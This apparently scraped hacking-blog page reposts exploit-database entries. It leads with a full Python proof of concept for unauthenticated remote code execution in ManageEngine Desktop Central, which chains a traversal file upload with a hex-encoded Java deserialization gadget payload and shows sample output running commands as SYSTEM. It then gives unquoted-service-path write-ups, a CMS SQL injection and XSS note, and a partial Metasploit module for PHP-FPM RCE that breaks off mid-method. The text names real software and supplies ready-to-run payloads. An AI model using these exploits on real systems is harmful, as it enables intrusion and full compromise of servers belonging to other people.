#!/usr/bin/python3
"""
ManageEngine Desktop Central FileStorage getChartImage Deserialization of Untrusted Data Remote Code Execution Vulnerability
Download: https://www.manageengine.com/products/desktop-central/download-free.html
File ...: ManageEngine_DesktopCentral_64bit.exe
SHA1 ...: 73ab5bb00f993685c711c0aed450444795d5b826
Found by: mr_me
Date ...: 2019-12-12
Class ..: CWE-502
CVSS ...: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
## Summary:
An unauthenticated attacker can reach a Deserialization of Untrusted Data vulnerability that can allow them to execute arbitrary code as SYSTEM/root.
## Vulnerability Analysis:
In the web.xml file, we can see one of the default available servlets is the `CewolfServlet` servlet.
```
<servlet>
<servlet-name>CewolfServlet</servlet-name>
<servlet-class>de.laures.cewolf.CewolfRenderer</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>overliburl</param-name>
<param-value>/js/overlib.js</param-value>
</init-param>
<init-param>
<param-name>storage</param-name>
<param-value>de.laures.cewolf.storage.FileStorage</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
...
<servlet-mapping>
<servlet-name>CewolfServlet</servlet-name>
<url-pattern>/cewolf/*</url-pattern>
</servlet-mapping>
```
This servlet, contains the following code:
```
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
if (debugged) {
logRequest(request);
}
addHeaders(response);
if ((request.getParameter("state") != null) || (!request.getParameterNames().hasMoreElements())) {
requestState(response);
return;
}
int width = 400;
int height = 400;
boolean removeAfterRendering = false;
if (request.getParameter("removeAfterRendering") != null) {
removeAfterRendering = true;
}
if (request.getParameter("width") != null) {
width = Integer.parseInt(request.getParameter("width"));
}
if (request.getParameter("height") != null) {
height = Integer.parseInt(request.getParameter("height"));
}
if (!renderingEnabled) {
renderNotEnabled(response, 400, 50);
return;
}
if ((width > config.getMaxImageWidth()) || (height > config.getMaxImageHeight())) {
renderImageTooLarge(response, 400, 50);
return;
}
String imgKey = request.getParameter("img"); // 1
if (imgKey == null) {
logAndRenderException(new ServletException("no 'img' parameter provided for Cewolf servlet."), response,
width, height);
return;
}
Storage storage = config.getStorage();
ChartImage chartImage = storage.getChartImage(imgKey, request); // 2
```
At [1] the code sets the `imgKey` variable using the GET parameter `img`. Later at [2], the code then calls the `storage.getChartImage` method with the attacker supplied `img`. You maybe wondering what class the `storage` instance is. This was mapped as an initializing parameter to the servlet code in the web.xml file:
```
<init-param>
<param-name>storage</param-name>
<param-value>de.laures.cewolf.storage.FileStorage</param-value>
</init-param>
```
```
public class FileStorage implements Storage {
static final long serialVersionUID = -6342203760851077577L;
String basePath = null;
List stored = new ArrayList();
private boolean deleteOnExit = false;
//...
public void init(ServletContext servletContext) throws CewolfException {
basePath = servletContext.getRealPath("/");
Configuration config = Configuration.getInstance(servletContext);
deleteOnExit = "true".equalsIgnoreCase("" + (String) config.getParameters().get("FileStorage.deleteOnExit"));
servletContext.log("FileStorage initialized, deleteOnExit=" + deleteOnExit);
}
//...
private String getFileName(String id) {
return basePath + "_chart" + id; // 4
}
//...
public ChartImage getChartImage(String id, HttpServletRequest request) {
ChartImage res = null;
ObjectInputStream ois = null;
try {
ois = new ObjectInputStream(new FileInputStream(getFileName(id))); // 3
res = (ChartImage) ois.readObject(); // 5
ois.close();
} catch (Exception ex) {
ex.printStackTrace();
} finally {
if (ois != null) {
try {
ois.close();
} catch (IOException ioex) {
ioex.printStackTrace();
}
}
}
return res;
}
```
At [3] the code calls `getFileName` using the attacker controlled `id` GET parameter which returns a path to a file on the filesystem using `basePath`. This field is set in the `init` method of the servlet. On the same line, the code creates a new `ObjectInputStream` instance from the supplied filepath via `FileInputStream`. This path is attacker controlled at [4], however, there is no need to (ab)use traversals here for exploitation.
The most important point is that at [5] the code calls `readObject` using the contents of the file without any further lookahead validation.
## Exploitation:
For exploitation, an attacker can (ab)use the `MDMLogUploaderServlet` servlet to plant a file on the filsystem with controlled content inside. Here is the corresponding web.xml entry:
```
<servlet>
<servlet-name>MDMLogUploaderServlet</servlet-name>
<servlet-class>com.me.mdm.onpremise.webclient.log.MDMLogUploaderServlet</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>MDMLogUploaderServlet</servlet-name>
<url-pattern>/mdm/mdmLogUploader</url-pattern>
<url-pattern>/mdm/client/v1/mdmLogUploader</url-pattern>
</servlet-mapping>
```
```
public class MDMLogUploaderServlet extends DeviceAuthenticatedRequestServlet {
private Logger logger = Logger.getLogger("MDMLogger");
private Long customerID;
private String deviceName;
private String domainName;
private Long resourceID;
private Integer platformType;
private Long acceptedLogSize = Long.valueOf(314572800L);
public void doPost(HttpServletRequest request, HttpServletResponse response, DeviceRequest deviceRequest)
throws ServletException, IOException {
Reader reader = null;
PrintWriter printWriter = null;
logger.log(Level.WARNING, "Received Log from agent");
Long nDataLength = Long.valueOf(request.getContentLength());
logger.log(Level.WARNING, "MDMLogUploaderServlet : file conentent lenght is {0}", nDataLength);
logger.log(Level.WARNING, "MDMLogUploaderServlet :Acceptable file conentent lenght is {0}", acceptedLogSize);
try {
if (nDataLength.longValue() <= acceptedLogSize.longValue()) {
String udid = request.getParameter("udid"); // 1
String platform = request.getParameter("platform");
String fileName = request.getParameter("filename"); // 2
HashMap deviceMap = MDMUtil.getInstance().getDeviceDetailsFromUDID(udid);
if (deviceMap != null) {
customerID = ((Long) deviceMap.get("CUSTOMER_ID"));
deviceName = ((String) deviceMap.get("MANAGEDDEVICEEXTN.NAME"));
domainName = ((String) deviceMap.get("DOMAIN_NETBIOS_NAME"));
resourceID = ((Long) deviceMap.get("RESOURCE_ID"));
platformType = ((Integer) deviceMap.get("PLATFORM_TYPE"));
} else {
customerID = Long.valueOf(0L);
deviceName = "default";
domainName = "default";
}
String baseDir = System.getProperty("server.home");
deviceName = removeInvalidCharactersInFileName(deviceName);
String localDirToStore = baseDir + File.separator + "mdm-logs" + File.separator + customerID
+ File.separator + deviceName + "_" + udid; // 3
File file = new File(localDirToStore);
if (!file.exists()) {
file.mkdirs(); // 4
}
logger.log(Level.WARNING, "absolute Dir {0} ", new Object[]{localDirToStore});
fileName = fileName.toLowerCase();
if ((fileName != null) && (FileUploadUtil.hasVulnerabilityInFileName(fileName, "log|txt|zip|7z"))) { // 5
logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload {0}", fileName);
response.sendError(403, "Request Refused");
return;
}
String absoluteFileName = localDirToStore + File.separator + fileName; // 6
logger.log(Level.WARNING, "absolute File Name {0} ", new Object[]{fileName});
InputStream in = null;
FileOutputStream fout = null;
try {
in = request.getInputStream(); // 7
fout = new FileOutputStream(absoluteFileName); // 8
byte[] bytes = new byte['✐'];
int i;
while ((i = in.read(bytes)) != -1) {
fout.write(bytes, 0, i); // 9
}
fout.flush();
} catch (Exception e1) {
e1.printStackTrace();
} finally {
if (fout != null) {
fout.close();
}
if (in != null) {
in.close();
}
}
SupportFileCreation supportFileCreation = SupportFileCreation.getInstance();
supportFileCreation.incrementMDMLogUploadCount();
JSONObject deviceDetails = new JSONObject();
deviceDetails.put("platformType", platformType);
deviceDetails.put("dataId", resourceID);
deviceDetails.put("dataValue", deviceName);
supportFileCreation.removeDeviceFromList(deviceDetails);
} else {
logger.log(Level.WARNING,
"MDMLogUploaderServlet : Going to reject the file upload as the file conentent lenght is {0}",
nDataLength);
response.sendError(403, "Request Refused");
return;
}
return;
} catch (Exception e) {
logger.log(Level.WARNING, "Exception ", e);
} finally {
if (reader != null) {
try {
reader.close();
} catch (Exception ex) {
ex.fillInStackTrace();
}
}
}
}
```
```
private static boolean isContainDirectoryTraversal(String fileName) {
if ((fileName.contains("/")) || (fileName.contains("\\"))) {
return true;
}
return false;
}
//...
public static boolean hasVulnerabilityInFileName(String fileName, String allowedFileExt) {
if ((isContainDirectoryTraversal(fileName)) || (isCompletePath(fileName))
|| (!isValidFileExtension(fileName, allowedFileExt))) {
return true;
}
return false;
}
```
We can see that at [1] the `udid` variable is controlled using the `udid` GET parameter from a POST request. At [2] the `fileName` variable is controlled from the GET parameter `filename`. This `filename` GET parameter is actually filtered in 2 different ways for malicious values. At [3] a path is contructed using the GET parameter from [1] and at [4] a `mkdirs` primitive is hit. This is important because the _charts directory doesn't exist on the filesystem which is needed in order to exploit the deserialization bug. There is some validation on the `filename` at [5] which calls `FileUploadUtil.hasVulnerabilityInFileName` to check for directory traversals and an allow list of extensions.
Of course, this doesn't stop `udid` from containing directory traversals, but I digress. At [6] the `absoluteFileName` variable is built up from the attacker influenced path at [3] using the filename from [2] and at [7] the binary input stream is read from the attacker controlled POST body. Finally at [8] and [9] the file is opened and the contents of the request is written to disk. What is not apparent however, is that further validation is performed on the `filename` at [2]. Let's take one more look at the web.xml file:
```
<init-param>
<param-name>config-file</param-name>
<param-value>security-regex.xml,security-mdm-regex.xml,security-mdm-api-regex.xml,security-properties.xml,security-common.xml,security-admin-sec-settings.xml,security-fws.xml,security-api.xml,security-patch-restapi.xml,security-mdm-groupdevices.xml,security-mdm-admin.xml,security-mdm-general.xml,security-mdm-agent.xml,security-mdm-reports.xml,security-mdm-inventory.xml,security-mdm-appmgmt.xml,security-mdm-docmgmt.xml,security-mdm-configuration.xml,security-defaultresponseheaders.xml,security-mdm-remote.xml,security-mdm-api-json.xml,security-mdm-api-get.xml,security-mdm-api-post.xml,security-mdm-api-put.xml,security-mdm-api-delete.xml,security-mdm-privacy.xml,security-mdm-osmgmt.xml,security-mdmapi-appmgmt.xml,security-mdmapi-profilejson.xml,security-mdmapi-profilemgmt.xml,security-mdm-compliance.xml,security-mdm-geofence.xml,security-mdmapi-sdp.xml,security-mdmp-CEA.xml,security-mdmapi-supporttab.xml,security-mdmapi-general.xml,security-mdm-roles.xml,security-mdm-technicians.xml,security-mdm-cea.xml,security-mdmapi-content-mgmt.xml,security-config.xml,security-patch.xml,security-patch-apd-scan.xml,security-patch-apd-scan-views.xml,security-patch-deployment.xml,security-patch-views.xml,security-patch-config.xml,security-patch-onpremise.xml,security-patch-server.xml,security-onpremise-common.xml,security-mdm-onpremise-files.xml,security-mdmapi-directory.xml,security-admin.xml,security-onpremise-admin.xml,security-reports.xml,security-inventory.xml,security-custom-fields.xml</param-value>
</init-param>
```
The file that stands out is the `security-mdm-agent.xml` config file. The corrosponding entry for the `MDMLogUploaderServlet` servlet looks like this:
```
<url path="/mdm/mdmLogUploader" apiscope="MDMCloudEnrollment" authentication="required" duration="60" threshold="10" lock-period="60" method="post" csrf="false">
<param name="platform" regex="ios|android"/>
<param name="filename" regex="logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip"/>
<param name="uuid" regex="safestring"/>
<param name="udid" regex="udid"/>
<param name="erid" type="long"/>
<param name="authtoken" regex="apikey" secret="true"/>
<param name="SCOPE" regex="scope" />
<param name="encapiKey" regex="encapiKey" max-len="200" />
<param name="initiatedBy" regex="safestring"/>
<param name="extraData" type="JSONObject" template="supportIssueDetailsJson" max-len="2500"/>
</url>
```
Note that the authentication attribute is ignored in this case. The `filename` GET parameter is restricted to the following strings: "logger.txt", "logger.zip", "mdmlogs.zip" and "managedprofile_mdmlogs.zip" using a regex pattern. For exploitation, this limitation doesn't matter since the deserialization bug permits a completely controlled filename.
## Example:
saturn:~ mr_me$ ./poc.py
(+) usage: ./poc.py <target> <cmd>
(+) eg: ./poc.py 172.16.175.153 mspaint.exe
saturn:~ mr_me$ ./poc.py 172.16.175.153 "cmd /c whoami > ../webapps/DesktopCentral/si.txt"
(+) planted our serialized payload
(+) executed: cmd /c whoami > ../webapps/DesktopCentral/si.txt
saturn:~ mr_me$ curl http://172.16.175.153:8020/si.txt
nt authority\system
"""
import os
import sys
import struct
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def _get_payload(c):
p = "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594"
p += "da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400"
p += "164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200"
p += "2b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265"
p += "616e436f6d70617261746f72cf8e0182fe4ef17e0200024c000a636f6d706172"
p += "61746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e"
p += "672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e"
p += "732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d706172"
p += "61626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f75"
p += "7470757450726f706572746965737704000000037372003a636f6d2e73756e2e"
p += "6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e"
p += "747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d"
p += "5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b00"
p += "0a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a"
p += "6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f"
p += "6f757470757450726f706572746965737400164c6a6176612f7574696c2f5072"
p += "6f706572746965733b787000000000ffffffff757200035b5b424bfd19156767"
p += "db37020000787000000002757200025b42acf317f8060854e002000078700000"
p += "069bcafebabe0000003200390a00030022070037070025070026010010736572"
p += "69616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75"
p += "6505ad2093f391ddef3e0100063c696e69743e010003282956010004436f6465"
p += "01000f4c696e654e756d6265725461626c650100124c6f63616c566172696162"
p += "6c655461626c6501000474686973010013537475625472616e736c6574506179"
p += "6c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c"
p += "2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e73"
p += "6c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f"
p += "73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f7873"
p += "6c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c"
p += "2f696e7465726e616c2f73657269616c697a65722f53657269616c697a617469"
p += "6f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73"
p += "756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c"
p += "74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f"
p += "72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65"
p += "722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074"
p += "696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78"
p += "616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e"
p += "2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d"
p += "417869734974657261746f723b4c636f6d2f73756e2f6f72672f617061636865"
p += "2f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c69"
p += "7a6174696f6e48616e646c65723b29560100086974657261746f720100354c63"
p += "6f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64"
p += "746d2f44544d417869734974657261746f723b01000768616e646c6572010041"
p += "4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c"
p += "2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c6572"
p += "3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a"
p += "000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f"
p += "4761646765747324537475625472616e736c65745061796c6f6164010040636f"
p += "6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f"
p += "78736c74632f72756e74696d652f41627374726163745472616e736c65740100"
p += "146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f"
p += "6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f"
p += "5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061"
p += "796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100"
p += "116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e7469"
p += "6d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a"
p += "002b002e01000708003001000465786563010027284c6a6176612f6c616e672f"
p += "537472696e673b294c6a6176612f6c616e672f50726f636573733b0c00320033"
p += "0a002b003401000d537461636b4d61705461626c6501001d79736f7365726961"
p += "6c2f50776e6572373633323838353835323036303901001f4c79736f73657269"
p += "616c2f50776e657237363332383835383532303630393b002100020003000100"
p += "040001001a000500060001000700000002000800040001000a000b0001000c00"
p += "00002f00010001000000052ab70001b100000002000d0000000600010000002e"
p += "000e0000000c000100000005000f003800000001001300140002000c0000003f"
p += "0000000300000001b100000002000d00000006000100000033000e0000002000"
p += "0300000001000f00380000000000010015001600010000000100170018000200"
p += "19000000040001001a00010013001b0002000c000000490000000400000001b1"
p += "00000002000d00000006000100000037000e0000002a000400000001000f0038"
p += "00000000000100150016000100000001001c001d000200000001001e001f0003"
p += "0019000000040001001a00080029000b0001000c00000024000300020000000f"
p += "a70003014cb8002f1231b6003557b10000000100360000000300010300020020"
p += "00000002002100110000000a000100020023001000097571007e0010000001d4"
p += "cafebabe00000032001b0a000300150700170700180700190100107365726961"
p += "6c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505"
p += "71e669ee3c6d47180100063c696e69743e010003282956010004436f64650100"
p += "0f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c65"
p += "5461626c6501000474686973010003466f6f01000c496e6e6572436c61737365"
p += "730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f476164"
p += "6765747324466f6f3b01000a536f7572636546696c6501000c47616467657473"
p += "2e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f61"
p += "64732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f"
p += "4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f"
p += "79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747300"
p += "2100020003000100040001001a00050006000100070000000200080001000100"
p += "0a000b0001000c0000002f00010001000000052ab70001b100000002000d0000"
p += "000600010000003b000e0000000c000100000005000f00120000000200130000"
p += "0002001400110000000a000100020016001000097074000450776e7270770100"
p += "7871007e000d78"
obj = bytearray(bytes.fromhex(p))
obj[0x240:0x242] = struct.pack(">H", len(c) + 0x694)
obj[0x6e5:0x6e7] = struct.pack(">H", len(c))
start = obj[:0x6e7]
end = obj[0x6e7:]
return start + str.encode(c) + end
def we_can_plant_serialized(t, c):
# stage 1 - traversal file write primitive
uri = "https://%s:8383/mdm/client/v1/mdmLogUploader" % t
p = {
"udid" : "si\\..\\..\\..\\webapps\\DesktopCentral\\_chart",
"filename" : "logger.zip"
}
h = { "Content-Type" : "application/octet-stream" }
d = _get_payload(c)
r = requests.post(uri, params=p, data=d, verify=False)
if r.status_code == 200:
return True
return False
def we_can_execute_cmd(t):
# stage 2 - deserialization
uri = "https://%s:8383/cewolf/" % t
p = { "img" : "\\logger.zip" }
r = requests.get(uri, params=p, verify=False)
if r.status_code == 200:
return True
return False
def main():
if len(sys.argv) != 3:
print("(+) usage: %s <target> <cmd>" % sys.argv[0])
print("(+) eg: %s 172.16.175.153 mspaint.exe" % sys.argv[0])
sys.exit(1)
t = sys.argv[1]
c = sys.argv[2]
if we_can_plant_serialized(t, c):
print("(+) planted our serialized payload")
if we_can_execute_cmd(t):
print("(+) executed: %s" % c)
if __name__ == "__main__":
main()
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863164252
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: ASUS GiftBox Desktop 1.1.1.127 - 'ASUSGiftBoxDesktop' Unquoted Service Path
# Discovery by: Oscar Flores
# Discovery Date: 2020-03-05
# Vendor Homepage: https://www.asus.com/
# Software Link : https://www.microsoft.com/en-us/p/asus-giftbox/9wzdncrdrb6s?activetab=pivot:overviewtab
# Tested Version: 1.1.1.127
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home Single Language
# Step to discover Unquoted Service Path:
C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "ASUSGift" | findstr /i /v """
Asus GiftBox Desktop ASUSGiftBoxDekstop C:\Program Files (x86)\ASUS\ASUS GIFTBOX Desktop\ASUSGIFTBOXDesktop.exe Auto
# Service info:
C:\>sc qc ASUSGiftBoxDekstop
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: ASUSGiftBoxDekstop
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\ASUS GIFTBOX Desktop\ASUSGIFTBOXDesktop.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Asus GiftBox Desktop
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
#Exploit:
# A successful attempt would require the local user to be able to insert their code in the
# system root path undetected by the OS or other security applications where it could
# potentially be executed during application startup or reboot. If successful, the local
# user's code would execute with the elevated privileges of the application.
# Exploit Title: SpyHunter 4 - 'SpyHunter 4 Service' Unquoted Service Path
# Discovery by: Alejandro Reyes
# Discovery Date: 2020-03-05
# Vendor Homepage: https://www.enigmasoftware.com
# Software Link : https://www.enigmasoftware.com/spyhunter-download-instructions/
# Tested Version: 4
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64
# Step to discover Unquoted Service Path:
C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "SpyHunter" | findstr /i /v """
SpyHunter 4 Service SpyHunter 4 Service C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe Auto
# Service info:
C:\>sc qc "IsAppService"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: SpyHunter 4 Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe
LOAD_ORDER_GROUP : Base
TAG : 0
DISPLAY_NAME : SpyHunter 4 Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
#Exploit:
# A successful attempt would require the local user to be able to insert their code in the
# system root path undetected by the OS or other security applications where it could
# potentially be executed during application startup or reboot. If successful, the local
# user's code would execute with the elevated privileges of the application.
# Exploit Title: 60CycleCMS - 'news.php' Multiple vulnerability
# Google Dork: N/A
# Date: 2020-02-10
# Exploit Author: Unkn0wn
# Vendor Homepage: http://davidvg.com/
# Software Link: https://www.opensourcecms.com/60cyclecms
# Version: 2.5.2
# Tested on: Ubuntu
# CVE : N/A
---------------------------------------------------------
SQL Injection vulnerability:
----------------------------
in file /common/lib.php Line 64 -73
*
function getCommentsLine($title)
{
$title = addslashes($title);
$query = "SELECT `timestamp` FROM `comments` WHERE entry_id= '$title'";
// query MySQL server
$result=mysql_query($query) or die("MySQL Query fail: $query");
$numComments = mysql_num_rows($result);
$encTitle = urlencode($title);
return '<a href="post.php?post=' . $encTitle . '#comments" >' . $numComments . ' comments</a>';
}
lib.php line 44:
*
$query = "SELECT `timestamp`,`author`,`text` FROM `comments` WHERE `entry_id` ='$title' ORDER BY `timestamp` ASC";
*
*
news.php line 3:
*
require 'common/lib.php';
*
Then in line 15 return query us:
*
$query = "SELECT MAX(`timestamp`) FROM `entries
*
http://127.0.0.1/news.php?title=$postName[SQL Injection]
----------------------------
Cross Site-Scripting vulnerability:
File news.php in line: 136-138 :
*
$ltsu = $_GET["ltsu"];
$etsu = $_GET["etsu"];
$post = $_GET["post"];
*
get payload us and printEnerty.php file in line 26-27:
*
<? echo '<a class="navLink" href="index.php?etsu=' . $etsu . '">Older ></a>';
<? echo '<a class="navLink" href="index.php?ltsu=' . 0 . '">Oldest >>|</a>';
*
print it for us!
http://127.0.0.1/index.php?etsu=[XSS Payloads]
http://127.0.0.1/index.php?ltsu=[XSS Payloads]
----------------------------------------------------------
# Contact : 0x9a@tuta.io
# Visit: https://t.me/l314XK205E
# @ 2010 - 2020
# Underground Researcher
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PHP-FPM Underflow RCE',
'Description' => %q(
This module exploits an underflow vulnerability in versions 7.1.x
below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on
Nginx. Only servers with certains Nginx + PHP-FPM configurations are
exploitable. This is a port of the original neex's exploit code (see
refs.). First, it detects the correct parameters (Query String Length
and custom header length) needed to trigger code execution. This step
determines if the target is actually vulnerable (Check method). Then,
the exploit sets a series of PHP INI directives to create a file
locally on the target, which enables code execution through a query
string parameter. This is used to execute normal payload stagers.
Finally, this module does some cleanup by killing local PHP-FPM
workers (those are spawned automatically once killed) and removing
the created local file.
),
'Author' => [
'neex', # (Emil Lerner) Discovery and original exploit code
'cdelafuente-r7' # This module
],
'References' =>
[
['CVE', '2019-11043'],
['EDB', '47553'],
['URL', 'https://github.com/neex/phuip-fpizdam'],
['URL', 'https://bugs.php.net/bug.php?id=78599'],
['URL', 'https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html']
],
'DisclosureDate' => "2019-10-22",
'License' => MSF_LICENSE,
'Payload' => {
'BadChars' => "&>\' "
},
'Targets' => [
[
'PHP', {
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Payload' => {
'PrependEncoder' => "php -r \"",
'AppendEncoder' => "\""
}
}
],
[
'Shell Command', {
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to a PHP page', '/index.php'])
])
register_advanced_options([
OptInt.new('MinQSL', [true, 'Minimum query string length', 1500]),
OptInt.new('MaxQSL', [true, 'Maximum query string length', 1950]),
OptInt.new('QSLHint', [false, 'Query string length hint']),
OptInt.new('QSLDetectStep', [true, 'Query string length detect step', 5]),
OptInt.new('MaxQSLCandidates', [true, 'Max query string length candidates', 10]),
OptInt.new('MaxQSLDetectDelta', [true, 'Max query string length detection delta', 10]),
OptInt.new('MaxCustomHeaderLength', [true, 'Max custom header length', 256]),
OptInt.new('CustomHeaderLengthHint', [false, 'Custom header length hint']),
OptEnum.new('DetectMethod', [true, "Detection method", 'session.auto_start', self.class.detect_methods.keys]),
OptInt.new('OperationMaxRetries', [true, 'Maximum of operation retries', 20])
])
@filename = rand_text_alpha(1)
@http_param = rand_text_alpha(1)
end
CHECK_COMMAND = "which which"
SUCCESS_PATTERN = "/bin/which"
class DetectMethod
attr_reader :php_option_enable, :php_option_disable
def initialize(php_option_enable:, php_option_disable:, check_cb:)
@php_option_enable = php_option_enable
@php_option_disable = php_option_disable
@check_cb = check_cb
end
def php_option_enabled?(res)
!!@check_cb.call(res)
end
end
def self.detect_methods
{
'session.auto_start' => DetectMethod.new(
php_option_enable: 'session.auto_start=1',
php_option_disable: 'session.auto_start=0',
check_cb: ->(res) { res.get_cookies =~ /PHPSESSID=/ }
),
'output_handler.md5' => DetectMethod.new(
php_option_enable: 'output_handler=md5',
php_option_disable: 'output_handler=NULL',
check_cb: ->(res) { res.body.length == 16 }
)
}
end
def send_crafted_request(path:, qsl: datastore['MinQSL'], customh_length: 1, cmd: '', allow_retry: true)
uri = URI.encode(normalize_uri(target_uri.path, path)).gsub(/([?&])/, {'?'=>'%3F', '&'=>'%26'})
qsl_delta = uri.length - path.length - URI.encode(target_uri.path).length
if qsl_delta.odd?
fail_with Failure::Unknown, "Got odd qslDelta, that means the URL encoding gone wrong: path=#{path}, qsl_delta=#{qsl_delta}"
end
prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26"
qsl_prime = qsl - qsl_delta/2 - prefix.length
if qsl_prime < 0
fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}"
end
uri = "#{uri}?#{prefix}#{'Q'*qsl_prime}"
opts = {
'method' => 'GET',
'uri' => uri,
'headers' => {
'CustomH' => "x=#{Rex::Text.rand_text_alphanumeric(customh_length)}",
'Nuut' => Rex::Text.rand_text_alphanumeric(11)
}
}
actual_timeout = datastore['HttpClientTimeout'] if datastore['HttpClientTimeout']&.> 0
actual_timeout ||= 20
connect(opts) if client.nil? || !client.conn?
# By default, try to reuse an existing connection (persist option).
res = client.send_recv(client.request_raw(opts), actual_timeout, true)
if res.nil? && allow_retry
# The server closed the connection, resend without 'persist', which forces
# reconnecting. This could happen if the connection is reused too much time.
# Nginx will automatically close a keepalive connection after 100 requests
# by default or whatever value is set by the 'keepalive_requests' option.
res = client.send_recv(client.request_raw(opts), actual_timeout)
end
res
end
def repeat_operation(op, opts={})
datastore['OperationMaxRetries'].times do |i|
vprint_status("#{op}: try ##{i+1}")
res = opts.empty? ? send(op) : send(op, opts)
return res if res
end
nil
end
def extend_qsl_list(qsl_candidates)
qsl_candidates.each_with_object([]) do |qsl, extended_qsl|
(0..datastore['MaxQSLDetectDelta']).step(datastore['QSLDetectStep']) do |delta|
extended_qsl << qsl - delta
end
end.sort.uniq
end
def sanity_check?
datastore['OperationMaxRetries'].times do
res = send_crafted_request(
path: "/PHP\nSOSAT",
qsl: datastore['MaxQSL'],
customh_length: datastore['MaxCustomHeaderLength']
)
